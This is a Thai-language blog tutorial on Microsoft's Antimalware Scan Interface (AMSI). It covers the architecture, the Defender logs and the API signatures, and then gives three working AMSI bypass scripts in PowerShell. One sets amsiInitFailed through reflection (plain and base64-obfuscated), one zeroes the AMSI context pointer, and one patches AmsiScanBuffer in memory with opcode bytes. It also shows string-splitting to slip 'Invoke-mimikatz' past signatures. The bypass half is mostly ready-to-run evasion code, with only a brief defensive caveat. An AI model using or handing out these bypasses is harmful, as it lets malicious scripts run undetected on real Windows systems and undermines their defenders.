ทำความรู้จัก Antimalware Scan Interface (AMSI) บนระบบปฏิบัติการ Windows และการหลีกเลี่ยงการตรวจจับ

AMSI หรือ Antimalware Scan Interface คือเทคโนโลยีของ Microsoft ที่ใช้ในการสแกนและตรวจจับซอฟต์แวร์ที่มีความเสี่ยง รวมถึงมัลแวร์ทุกชนิดบนระบบปฏิบัติการ Windows 10 และใหม่กว่า โดย AMSI ทำให้แอพพลิเคชันที่รันในระบบปฏิบัติการสามารถส่งข้อมูลไปสำหรับการสแกนที่หน่วยประมวลผลของแอนตี้มัลแวร์ ให้ความสามารถในการตรวจสอบเนื้อหาที่เป็นมัลแวร์ในช่วงที่มันถูกเรียกใช้งานหรือมีการเรียกใช้เนื้อหาสคริปต์ที่เป็นมัลแวร์หรือพูดให้เข้าใจง่ายๆ AMSI เปรียบเสมือนเจ้าหน้าที่สแกนวัตถุต้องสงสัยหากตรวจเจอวัตถุต้องสงสัยจะทำการยึดหรือทำลายวัตถุนั้นเพื่อไม่ให้ผู้ร้ายสามารถนำสิ่งนั้นเข้าไปยังภายในได้
HOW IT WORK AMSI?

(ที่มาภาพ: https://www.freebuf.com/articles/sectool/350404.html)
ในที่นี้จะทำการยกตัวอย่างใน PowerShell โดยภายใน PowerShell จะมีการผูก AMSI หรือมีเจ้าหน้าที่คอยดูแลรักษาความปลอดภัยเอาไว้โดยเมื่อมีผู้ใช้งานทำการใส่ script ที่เป็นอันตรายเข้ามา AMSI จะทำการเข้ามาตรวจสอบเป็นอย่างแรกเมื่อตรวจสอบดูแล้วว่า script ที่นำมาปลอดภัยก็จะอนุญาตให้ทำการเข้าไปหรือดำเนินการต่อได้แต่หากว่าทำการตรวจแล้วเจอสิ่งที่เป็นอันตราย AMSI จะทำการเก็บข้อมูลที่เป็นอันตรายนั้นแล้วรายงานไปยัง Windows Defender หรือผู้ให้บริการต่างๆ เพื่อที่จะทำการกำจัดหรือไม่ให้ดำเนินการใดๆ
Architecture

(ที่มาภาพ: https://learn.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps)
จากรูปจะเป็นตัวโครงสร้างโดยรวมของ Antimalware Scan Interface(AMSI) อธิบายรูปแบบคร่าวๆ จะเห็นได้ว่าหลักๆจะแบ่งออกเป็นสองฝั่งนั้นคือฝั่งของ AMSI work flow กับฝั่งของ AV Service ฝั่งซ้ายของรูปจะมีชั้น Win32 API Layer , COM API Layer , AV Provider Layer ซึ่งในส่วน Win32 API Layer , COM API Layer จะเป็นชั้นที่แอพพลิเคชั่นมีการเรียกใช้ API เพื่อที่จะทำการสแกนหรือตรวจสอบมัลแวร์ Win32 API Layer จะมีตัว PowerShell , VBScript ทำการเรียกใช้งาน AMSI เมื่อ AMSI ถูกเรียกใช้งานมันจะตรวจสอบดูข้อมูลของแอพพลิเคชั่นว่ามีสิ่งผิดปกติหรือไม่หลังจากนั้นมันจะส่งข้อมูลไปยัง AV Provider Layer หรือ ผู้ให้บริการแอนตี้ไวรัสต่างๆเพื่อที่จะทำการกำจัดหรือป้องกัน เมื่อทำการตรวจสอบเสร็จแล้ว AV Provider Layer ก็จะส่งข้อมูลไปให้ฝั่งขวาหรือ AV Service ผ่านทาง Remote Procedure Call (RPC) เพื่อทำการเก็บประวัติหรือทำการวิเคราะห์และอัปเดตฐานข้อมูลของมัลแวร์ต่อไป
Real-time protections
ซึ่งตัวของ AMSI จะเป็นตัวที่อยู่ในฟังก์ชันการทำงานแบบ Real-Time ใน Windows Defender ของ Windows

ทดสอบการทำงานของ AMSI
หลักจากที่รู้ว่า AMSI มีหลักการทำงานอย่างไรและสามารถทำอะไรได้บ้างในตอนนี้เราจะมาทำการทดสอบดูว่า AMSI มันทำงานได้จริงหรือมันทำงานจริง ๆ อยู่ใน PowerShell ที่เราได้พูดถึงอยู่หรือไม่โดยเราจะทดสอบพิมพ์ข้อความ “Invoke-mimikatz” ลงไป

จะเห็นได้ว่าเราได้ลองทำการใส่ข้อความ “Invoke-mimikatz” ลงไปแล้วขึ้นว่า antivirus software ทำการบล็อคแปลว่า AMSI ทำการตรวจสอบแล้วว่าข้อความนี้ตรงกับ signature ที่อยู่ใน data มันเลยทำการบล็อคแต่หากเราลองพิมพ์ไปอีกรอบโดยพิมพ์ “Invoke”+”mimikatz”

จะเห็นว่ามันสามารถดำเนินการคำสั่งนั้นได้เนื่องจาก AMSI มันตรวจสอบไม่พบว่าข้อความนี้มันอยู่ใน signature เป็นอันตรายมันจึงคิดว่าข้อความนี้ปลอดภัยเลยสามารถดำเนินการได้
Windows defender Operational
จากข้างต้นที่ได้ลองดูว่า AMSI ทำงานอย่างไรใน PowerShell เมื่อ AMSI ทำการตรวจพบมัลแวร์มันจะทำการบล็อคโดย AV Provider และส่งไปยัง AV Service ในกรณีนี้จะเป็น Windows Defender Service ทาง AV service จะทำการเก็บบันทึกผลต่างๆที่เกิดขึ้นโดยสามารถดูได้โดยการเข้าไปยัง (Event Viewer หรือ wim+r -> eventvwr.msc)-> Application and Services Logs s-> Microsoft -> Windows -> Windows Defender -> Operational

สามารถดู events ที่เกิดขึ้นและข้อมูลต่างๆได้

การ By Pass AMSI
จากตอนแรกที่ได้เรียนรู้ว่า AMSI คืออะไรและมีการทำการอย่างไรตอนนี้เราจะมาทำการข้าม amsi หรือพยายามข้ามการตรวจสอบจาก AMSI โดยก่อนจะทำการ bypass ก่อนอื่นมีสิ่งที่ต้องรู้ก่อนว่าขั้นตอนการทำงานตั้งแต่เริ่มต้นมีการทำงานอย่างไรโดยในที่นี้เราจะได้ PowerShell ในการดูการทำงาน
โดยใช้โปรแกรม Process Hacker ในการดูกระบวนการทำงานของ AMSI

จะเห็นได้ว่าเมื่อเราลองไปดูที่ Modules ของ PowerShell จะมีการเรียกงาน amsi.dll โดยเมื่อคลิกเข้ามาดูภายในจะเห็นว่าใน amsi.dll จะมีลำดับการทำงานโดยตั้งแต่ 1–13 โดยเริ่มต้นคือ มีการใช้ฟังก์ชันAmsiCloseSession และหลังจากนั้นจะใช้ฟังก์ชัน AmsiInitialize โดยฟังก์ชั้นนี้เป็นการเริ่มต้นทำงานของ amsi และจากนั้นจะทำงานตามลำดับลงมา
ก่อนจะเข้าไปสู่ส่วนของการ bypass amsi จะขอให้ดูโครงสร้างของฟังก์ชันหลักๆที่ amsi มีการเรียกใช้งานกันก่อนนั่นคือ AmsiInitialize , AmsiOpenSession , AmsiScanBuffer ตามลำดับ เริ่มจาก AmsiInitialize ฟังก์ชั้นนี้จะเริ่มต้นขึ้นเมื่อPowerShell มีการเรียกใช้งาน amsi โดยฟังก์ชั้นนี้จะทำการเริ่มต้นการทำงาน amsi
HRESULT AmsiInitialize(
[in] LPCWSTR appName,
[out] HAMSICONTEXT *amsiContext);
โดยผลลัพธ์ที่ส่งออก (HRESULT) ของฟังก์ชัน AmsiInitialize จะบ่งบอกถึงสถานะการทำงานของการเริ่มต้นใช้งาน amsi
HRESULT AmsiOpenSession(
[in] HAMSICONTEXT amsiContext,
[out] HAMSISESSION *amsiSession
);
ต่อมาฟังก์ชัน AmsiOpenSession มันจะทำงานเป็นลำดับต่อมาโดยเตรียมพร้อมให้แก่การสแกนข้อมูลหรือไฟล์ต่างๆใช้ในการส่งข้อมูลสแกนและรับผลลัพธ์จากการสแกนกลับมา การระบุ HAMSICONTEXT นี้เป็นการระบุเพื่อให้สามารถใช้งานตัวแปรเดียวกันในเซสชั่นนี้ตลอดกระบวนการทำงานซึ่งจะส่งข้อมูลที่ต้องการสแกนไปยัง AMSI โดยใช้ HAMSICONTEXTเปรียบสเหมือนเครื่องตรวจวัตถุต้องสงสัย
HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);
ส่วนนี้จะเป็นฟังก์ชันทำงานต่อจาก AmsiOpenSession เมื่อมีการเตรียมพร้อมหรือมีข้อมูลที่ต้องการจะสแกนหน้าที่ของฟังก์ชันนี้คือทำการสแกนตรวจจับโค้ดหรือข้อมูลที่อาจมีมัลแวร์หรือความเสี่ยงต่อความปลอดภัย
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;enum AMSI_RESULT{
AMSI_RESULT_CLEAN = 0,
AMSI_RESULT_NOT_DETECTED = 1,
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
AMSI_RESULT_DETECTED = 32768
};
โดยผลลัพธ์ของ AmsiScanBuffer หรือค่าที่ส่งกลับมาจะเป็นผลลัพธ์ที่บอกสถานะ เช่นหากส่งค่ากลับมาเป็น 1 แสดงถึง AMSI_RESULT_NOT_DETECTED ไม่พบมัลแวร์หรือความเสี่ยง หรือ ส่งค่ากลับมาเป็น 32768 แสดงถึง AMSI_RESULT_DETECTED ตรวจพบมัลแวร์หรือความเสี่ยง
และอย่างสุดท้ายก่อนที่จะ bypass amsi นั้นก็คือลำดับถัดมาจาก AmsiScanBuffer นั้นคือ AmsiScanString
HRESULT AmsiScanString(
[in] HAMSICONTEXT amsiContext,
[in] LPCWSTR string,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);
สังเกตุเห็นได้ว่าหน้าค่าที่ฟังก์ชันนี้ส่งกลับมาเหมือนกับ AmsiScanBuffer โดย AmsiScanString มันจะทำการสแกนหรือตรวจจับข้อความ (String) ที่อาจมีความเสี่ยงเมื่อเราลองดูการทำงานด้วย IDA

จะเห็นได้ว่าตัว AmsiScanString มีการเรียกใช้งาน AmsiScanbuffer แปลว่าหากเราทำการ patch AmsiScanbuffer ก็จะทำให้ AmsiScanString ไม่สามารถทำงานได้ด้วย(ในกรณีที่เราbypassด้วยวิธีด้านล่างนี้)
Bypass AMSI Medtod
1. Attack AmsiInitialize
เป็นการทำให้ฟังก์ชัน AmsiInitialize ไม่สามารถเริ่มการทำงาน AMSI ได้ หรือ ทำการกำหนดค่า amsiInitFailed ให้เป็นที่อยู่ใน AmsiInitialize ให้เป็น true ทำให้ AMSI ไม่สามารถเริ่มการทำงานได้โดยทำการใส่สคริปใน PowerShell
[Ref].Assembly.GetType(‘System.Management.Automation.AmsiUtils’).GetField(‘amsiInitFailed’,’NonPublic,Static’).SetValue($null,$true)
Base64 Encoded
[Ref].Assembly.GetType(‘System.Management.Automation.’+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘QQBtAHMAaQBVAHQAaQBsAHMA’)))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA==’))),’NonPublic,Static’).SetValue($null,$true)
ผลลัพธ์

2. Attack AmsiOpenSession
เรามาดูการทำงานในฟังก์ชัน AmsiOpenSession ว่ามันเป็นอย่างไร โดยจะใช้โปรแกรม IDA ในการดูทำงาน

จากรูปจะเห็นได้ว่าจะมีโหนดหนึ่งนั้นคือ loc_10005915 ทำการ mov eax,80070057h เมื่อเราลองสังเกตุจากโหนดก่อนหน้าจะมีคำสั่ง cmp คือมีการเปรียบเทียบค่า ptr กับค่าใดค่าหนึ่งโดยจากวงกลมแดงที่ 1 มีการใช้ cmp ในการเปรียบเทียบ ptr กับ 49534D41h และมีการใช้ jnz ในการ jump ไปที่โหนด loc_10005915 โดยตัวคำสั่ง jnz หรือ jump no zero คือคำสั่งที่บอกว่าถ้าหากไม่เป็น 0 ก็จะไม่ jump ดังนั้นถ้าหากว่าเรากำหนดให้ค่า ptr เป็น 0 มันก็จะลงไปยังวงกลมแดงที่2
ต่อมาเมื่อมันลงมาทำงานวงกลมแดงที่2แล้วเราทำการกำหนดค่า ptr ให้เป็น 0 อยู่แล้วแปลว่าเมื่อเจอคำสั่ง cmp เปรียบเทียบ ptr ,0 แล้วเจอคำสั่ง jz หรือ jump zero คือทำการ jump เมื่อค่า ptr เป็น 0 แสดงว่าคำสั่งถูกทำงานจึงถูก jump ไปยังวงกลมสีเขียวหรือโหนด loc_10005915
เราจะมาอธิบายกันว่าการทำงานของวงกลมสีเขียวมันเกิดอะไรขึ้นโดยคำสั่ง mov eax,80070057h เป็นการย้ายข้อมูล 80070057h ไปเก็บใน eax ซึ่งเป็น register หรือพื้นที่ขนาดเล็กใช้เก็บข้อมูลของ CPU ซึ่งค่า 80070057h คือค่า E_INVALIDARG

ซึ่งค่านี้หมายถึง “Invalid Arguments” หรือ “อาร์กิวเมนต์ไม่ถูกต้อง” เมื่อส่งค่ามีการ E_INVALIDARG กลับไปให้กับโปรแกรมทำให้โปแกรมคิดว่ามีข้อผิดพลาดในการเรียกใช้ฟังก์ชันนี้จึงทำให้ AmsiOpenSession ไม่ทำงานโดยสคริปใน PowerShell ที่ทำการกำหนด ptr เป็น 0
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like “*iUtils”) {$c=$b}};$d=$c.GetFields(‘NonPublic,Static’);Foreach($e in $d) {if ($e.Name -like “*Context”) {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
ผลลัพธ์

3. Attack AmsiScanBuffer
หลักการ bypass จะคล้ายกับ Attack AmsiOpenSession คือทำการกำหนดค่าให้กับ register แล้วทำการส่งค่าบางอย่างเพื่อให้โปรแกรมไม่สามารถใช้งานฟังก์ชันได้

โดยจะบังคับให้ AmsiScanbuffer ส่งคืนข้อผิดพลาด E_INVALIDARG ดังสคริป PowerShell นี้
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(‘\\’)[-1].
Equals(‘System.dll’)
}).GetType(‘Microsoft.Win32.UnsafeNativeMethods’)
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -like “Ge*P*oc*ddress”) {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod(‘GetModuleHandle’)).Invoke($null,
@($moduleName)), $functionName))
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]]
$func, [Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(‘ReflectedDelegate’)),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule(‘InMemoryModule’, $false).
DefineType(‘MyDelegateType’, ‘Class, Public, Sealed, AnsiClass,
AutoClass’, [System.MulticastDelegate])
$type.
DefineConstructor(‘RTSpecialName, HideBySig, Public’,
[System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags(‘Runtime, Managed’)
$type.
DefineMethod(‘Invoke’, ‘Public, HideBySig, NewSlot, Virtual’, $delType,
$func). SetImplementationFlags(‘Runtime, Managed’)
return $type.CreateType()
}
$a=”A”
$b=”msiS”
$c=”canB”
$d=”uffer”
[IntPtr]$funcAddr = LookupFunc amsi.dll ($a+$b+$c+$d)
$oldProtectionBuffer = 0
$vp=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32].MakeByRefType()) ([Bool])))
$vp.Invoke($funcAddr, 3, 0x40, [ref]$oldProtectionBuffer)
$buf = [Byte[]] (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 12)
จากโค้ดจะทำการแทรก (inject) opcode หรือ shellcode ลงในฟังก์ชัน AmsiScanBuffer ซึ่งจะเปลี่ยนแปลงพฤติกรรมของฟังก์ชันนี้ นั่นคือ, โค้ดที่เข้ามาสู่ฟังก์ชันนี้จะไม่ถูกสแกนในระดับ AMSI ตามปกติจากโค้ตจะมี opcode คือ (0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3) แปลงในรูปแบบของ x86 assemblyคือ
b8 34 12 07 80 mov eax,0x80071234
66: b8 32 00 mov ax,0x32
b0 57 mov al,0x57
c3 ret
การทำงานคือทำกำหนดค่าให้กับ register โดยโปรแกรมไม่รู้ว่าค่าที่เปลี่ยนแปลงใน register มันสอดคล้องกับการทำงานของโปรแกรมอย่างไรมันจึงทำให้การทำงานของโปรแกรมล้มเหลวจึงทำให้ไม่สามารถใช้งาน amsiscanbuffer ได้ทำให้ความพยายามในการสแกนสคริปต์หรือโค้ดที่รันในขณะนั้นถูกข้ามไป
จากบทความนี้ เราได้เรียนรู้ถึงการทำงานของ Antimalware Scan Interface (AMSI) บนระบบปฏิบัติการ Windows ซึ่งเป็นกลไกสำคัญของ Microsoft ในการตรวจจับและป้องกันมัลแวร์ AMSI ช่วยให้โปรแกรมต่าง ๆ โดยเฉพาะสคริปต์ที่ทำงานผ่าน PowerShell หรือภาษาอื่น ๆ สามารถส่งข้อมูลให้กับโปรแกรมป้องกันไวรัสตรวจสอบแบบเรียลไทม์ เพื่อกรองภัยคุกคามก่อนที่คำสั่งจะถูกรันจริง
อย่างไรก็ตาม AMSI เองก็ไม่สมบูรณ์แบบ และสามารถถูกเลี่ยงการตรวจจับได้โดยการโจมตีหรือแก้ไขฟังก์ชันภายใน ซึ่งเทคนิคการ bypass เหล่านี้แม้จะใช้ในเชิงวิจัยเพื่อทำความเข้าใจระบบ แต่ก็เป็นภัยหากตกไปอยู่ในมือผู้ไม่หวังดี ดังนั้นผู้ดูแลระบบและนักพัฒนาไม่เพียงแต่ควรรู้เท่าทันกลไกของ AMSI แต่ยังต้องติดตามการอัปเดตจาก Microsoft และเสริมการป้องกันในระดับอื่น ๆ ร่วมด้วย เพื่อให้ระบบมีความปลอดภัยในภาพรวมอย่างยั่งยืน.
References:
https://learn.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps